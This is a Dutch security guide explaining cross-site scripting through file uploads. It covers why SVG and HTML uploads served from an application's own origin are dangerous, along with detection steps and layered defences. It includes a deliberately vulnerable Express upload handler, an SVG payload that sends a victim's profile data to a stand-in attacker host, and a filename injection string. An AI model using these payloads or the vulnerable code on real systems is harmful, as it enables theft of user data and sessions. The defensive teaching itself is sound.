Cross-site scripting via bestandsupload
CWE-79CWE-434OWASP A03:2021Bijgewerkt 3 september 20265 min leestijd
Bestandstypen als SVG en HTML kunnen scriptcode bevatten. Wordt zo'n bestand vanaf uw eigen domein in de browser weergegeven, dan draait die code binnen uw origin, met toegang tot cookies en de sessie van de bezoeker. Ook de bestandsnaam zelf kan een injectiepunt zijn wanneer die ergens wordt getoond.
Een uploadfunctie wordt meestal beoordeeld op de vraag of er iets uitvoerbaars op de server kan belanden. Er is een tweede route die minder aandacht krijgt en vaker openstaat: een bestand dat op de server volstrekt onschadelijk is, maar dat in de browser van de bezoeker wél iets doet. Hieronder leest u hoe dat werkt en waarom het uitleveren belangrijker is dan het opslaan.
Waarom is het uitleveren het probleem?
Bij deze variant gaat het niet om code die op uw server draait, maar om code die draait in de browser van wie het bestand opent. Cross-site scripting via bestandsupload ontstaat wanneer een bestandstype dat scriptcode kan bevatten, vanaf uw eigen domein in de browser wordt weergegeven.
Het bekendste voorbeeld is SVG. Dat wordt behandeld als een afbeelding (het staat in de lijst met toegestane afbeeldingsformaten, het heeft een image/-type) maar het is in werkelijkheid een XML-document dat de browser rendert en dat scriptelementen mag bevatten. Hetzelfde geldt voor HTML, en in mindere mate voor andere formaten die de browser als document behandelt.
Het bepalende woord is origin. Draait die code op uwdomein.nl, dan heeft ze toegang tot alles wat uw pagina’s ook hebben: cookies zonder HttpOnly, de inhoud van de DOM, de mogelijkheid om verzoeken te doen met de sessie van de bezoeker. Datzelfde bestand op een ander domein is onschadelijk.
Hoe verloopt zo’n aanval?
Kwetsbaar:
// Alleen afbeeldingen toegestaan; SVG staat in die lijst
const TOEGESTAAN = ['image/jpeg', 'image/png', 'image/gif', 'image/svg+xml'];
app.post('/profiel/foto', upload.single('bestand'), async (req, res) => {
if (!TOEGESTAAN.includes(req.file.mimetype)) {
return res.status(400).send('Alleen afbeeldingen');
}
await fs.promises.rename(req.file.path, `./public/avatars/${req.file.originalname}`);
res.send('Opgeslagen');
});
De controle lijkt redelijk: alleen afbeeldingen. Toch de aanvaller uploadt dit:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="120">
<circle cx="60" cy="60" r="55" fill="#4c1d95"/>
<script>
fetch('/api/profiel')
.then(r => r.json())
.then(d => navigator.sendBeacon('https://kwaadaardig.example/in', JSON.stringify(d)));
</script>
</svg>
Als profielfoto in een <img>-tag gebeurt er niets; browsers voeren scripts in die context niet uit. Maar wordt het bestand rechtstreeks geopend (via een link “bekijk afbeelding”, een nieuw tabblad of een gedeelde URL) dan rendert de browser het als document en draait het script. Het haalt de profielgegevens van het slachtoffer op met diens eigen sessie en stuurt ze door. Alles binnen uw origin, met uw domeinnaam in de adresbalk.
Veilig:
const TOEGESTAAN = new Map([
['image/jpeg', 'jpg'],
['image/png', 'png'],
['image/webp', 'webp'],
]); // geen SVG
app.post('/profiel/foto', upload.single('bestand'), async (req, res) => {
const type = await bepaalTypeUitInhoud(req.file.path);
const extensie = TOEGESTAAN.get(type?.mime);
if (!extensie) {
await fs.promises.unlink(req.file.path);
return res.status(400).send('Bestandstype niet toegestaan');
}
// Opnieuw verwerken: wat er ook in zat, het resultaat is een schone afbeelding
const naam = `${randomUUID()}.${extensie}`;
await sharp(req.file.path).resize(512, 512, { fit: 'inside' }).toFile(`/var/opslag/${naam}`);
await fs.promises.unlink(req.file.path);
res.json({ id: naam });
});
// Uitleveren vanaf een apart domein, zonder rendercontext
app.get('/bestand/:id', async (req, res) => {
const bestand = await bestanden.zoek(req.params.id);
if (!bestand || !magZien(req.gebruiker, bestand)) return res.sendStatus(404);
res.set('Content-Type', bestand.type);
res.set('X-Content-Type-Options', 'nosniff');
res.set('Content-Disposition', 'attachment');
res.set('Content-Security-Policy', "default-src 'none'; sandbox");
res.sendFile(`/var/opslag/${bestand.naam}`);
});
Er zitten vier onafhankelijke lagen in. SVG staat niet op de lijst. Afbeeldingen worden opnieuw verwerkt, waarmee ingebedde inhoud verdwijnt. De bestandsnaam wordt vervangen, zodat die zelf geen injectiepunt kan zijn. Daarnaast bij het uitleveren zorgen Content-Disposition: attachment en een restrictieve Content-Security-Policy ervoor dat de browser het bestand niet als document rendert.
De sterkste maatregel blijft het uitleveren vanaf een apart domein. Dan valt eventuele code buiten de origin van uw applicatie en is de aanval structureel onmogelijk in plaats van afgedekt.
"><script>alert(1)</script>.png is een gewone injectie zodra u die naam in een overzicht toont zonder te escapen. Vervang de naam bij het opslaan en escape de oorspronkelijke naam overal waar u die weergeeft.Wat is de impact van XSS via bestandsupload?
De ernst is middelzwaar tot hoog, en komt overeen met die van gewone opgeslagen cross-site scripting, met één verschil: de code staat in een bestand dat gericht kan worden gedeeld. De aanvaller hoeft niet te wachten tot een slachtoffer een pagina bezoekt; hij stuurt de link.
Wat de code kan, wordt bepaald door uw origin. Cookies zonder HttpOnly zijn uitleesbaar, verzoeken kunnen worden gedaan met de sessie van het slachtoffer, en de inhoud van pagina’s kan worden opgehaald en doorgestuurd. Bij een applicatie waarin een beheerder de geüploade bestanden beoordeelt, is dat een directe route naar een beheerdersaccount, en juist die beoordeling is een handeling die u zelf hebt ingericht.
Daar komt de geloofwaardigheid bij. De link verwijst naar uw domein, met uw certificaat en uw naam. Voor phishing is dat aanzienlijk effectiever dan een vreemde URL, en het maakt uw platform bruikbaar voor aanvallen op derden.
Hoe spoor je XSS via bestandsupload op?
Een tester probeert eerst welke bestandstypen worden geaccepteerd, met bijzondere aandacht voor SVG, HTML en andere formaten die de browser als document behandelt. Vervolgens wordt gekeken hoe die bestanden worden teruggegeven.
De bepalende vragen zijn daarbij: is het bestand rechtstreeks opvraagbaar op een eigen URL, en op welk domein? Wordt het geserveerd met een Content-Disposition die het als download aanbiedt, of wordt het in de pagina gerenderd? Staat er een nosniff-header? Wordt het content-type afgeleid van de inhoud of van de bestandsnaam? Ook wordt getest of een bestand met een misleidende extensie toch als document wordt behandeld, en of de bestandsnaam ergens ongeëscaped wordt getoond. AssistSec beoordeelt daarbij nadrukkelijk de uitleverroute in plaats van alleen de uploadcontrole, omdat de kwetsbaarheid daar ontstaat en daar ook wordt opgelost.
Hoe voorkom je XSS via bestandsupload?
- Sta SVG en HTML niet toe als uploadformaat tenzij u ze werkelijk nodig hebt.
- Verwerk geüploade afbeeldingen opnieuw, zodat ingebedde inhoud verdwijnt.
- Schoon SVG-bestanden die u wel accepteert met een bibliotheek die scripts en externe verwijzingen verwijdert.
- Serveer door gebruikers aangeleverde bestanden vanaf een apart domein.
- Stuur
Content-Disposition: attachmentenX-Content-Type-Options: nosniffmee bij het uitleveren. - Geef bestanden een restrictieve
Content-Security-Policymee, bijvoorbeeld metsandbox. - Bepaal het content-type uit de inhoud van het bestand, niet uit de opgegeven naam.
- Vervang de bestandsnaam bij het opslaan en escape de oorspronkelijke naam bij weergave.
- Autoriseer bij het uitleveren, zodat een bestand niet zonder meer met derden kan worden gedeeld.
Bronnen
Veelgestelde vragen
Waarom is SVG zo problematisch?
Omdat het geen afbeeldingsformaat is in de gebruikelijke zin maar een XML-document dat de browser rendert. Het mag scriptelementen en event-attributen bevatten, en die worden uitgevoerd wanneer het bestand rechtstreeks wordt geopend. Voor de gebruiker is het een plaatje; voor de browser een document.
Volstaat het om SVG te weigeren?
Dat is de eenvoudigste oplossing als u het formaat niet nodig hebt, en vaak de juiste keuze. Hebt u het wel nodig, verwerk het dan met een bibliotheek die scripts en externe verwijzingen verwijdert, en serveer het alsnog vanaf een apart domein.
Is een apart domein echt nodig?
Het is de enige maatregel die de aanval structureel onmogelijk maakt in plaats van onwaarschijnlijk. Draait geïnjecteerde code op een ander domein, dan valt zij buiten de origin van uw applicatie en heeft ze geen toegang tot cookies of de DOM. De andere maatregelen zijn lagen; deze is een scheiding.
Kan de bestandsnaam zelf gevaarlijk zijn?
Ja. Een naam die HTML-tekens bevat en die u ergens in een overzicht toont, is een gewone injectie in uw eigen pagina. Vervang de naam bij het opslaan door een zelf gegenereerde waarde en escape de oorspronkelijke naam overal waar u die weergeeft.
Verwante artikelen
- KwetsbaarhedenCWE-693A05:2021Ontbrekende Content Security PolicyZonder Content Security Policy mag de browser scripts van elke bron laden. Lees wat een CSP doet, hoe u er een opstelt en welke fouten hem waardeloos maken.
- KwetsbaarhedenCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) laat aanvallers scripts injecteren die in de browser van uw bezoekers draaien. Zo werkt de aanval en zo voorkomt u het.
- KwetsbaarhedenCWE-434A04:2021Onbeperkte bestandsuploadEen uploadfunctie zonder restricties kan tot code-uitvoering op de server leiden. Lees welke controles nodig zijn en welke niet volstaan.
- KwetsbaarhedenCWE-434A04:2021Uploaden van schadelijke bestanden mogelijkEen uploadfunctie zonder inhoudscontrole maakt uw platform tot verspreider van malware, met uw domeinnaam als geloofwaardigheid.
- KwetsbaarhedenCWE-430A05:2021MIME-sniffing niet uitgeschakeldZonder X-Content-Type-Options mag de browser zelf raden wat een bestand is. Lees hoe een geüploade afbeelding zo als script kan worden uitgevoerd.